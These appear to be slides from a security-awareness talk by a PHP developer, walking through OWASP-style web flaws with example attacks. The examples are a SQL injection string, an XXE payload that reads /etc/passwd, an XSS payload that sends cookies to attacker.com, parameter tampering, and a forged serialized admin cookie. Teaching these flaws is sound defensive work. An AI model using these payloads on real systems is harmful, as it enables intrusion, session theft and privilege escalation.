My name is Kevin Nadin - @kevinjhappy
I work at Darkmira, a company full of good guys like you, and you, and.... hum not you...
I'm a backend developer using PHP / Zend Framework
My dream is to rule the world, and so should be yours
Insecure software calls to critical failure in the buisness
With the sofware being complex, apply security increase exponentially
The goal here is to raise awareness about your applications
An application uses untrusted data in the construction of the following vulnerable SQL call:
$query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
The attacker modifies the ‘id’ parameter value in their browser to send: ' or '1'='1. For example
http://example.com/app/accountView?id=' or '1'='1
The attacker attempts to extract data from the server by uploading a malicous XML file:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
The application uses unverified data in a SQL call that is accessing account information:
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
An attacker simply modifies the 'acct' parameter in the browser to send whatever account number they want.
http://example.com/app/accountInfo?acct=notmyacct
The application uses untrusted data
$page += "<input name='creditcard' type='TEXT'
value='" + request.getParameter("CC") + "'>";
The attacker modifies the ‘CC’ parameter in the browser to:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
A PHP forum uses PHP object serialization to save a "super" cookie, containing the user's user ID, role, password hash, and other state:
An attacker changes the serialized object to give themselves admin privileges :
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;
s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
a:4:{i:0;i:132;i:1;s:7:"Alice";i:2;s:4:"admin"; i:3;
s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}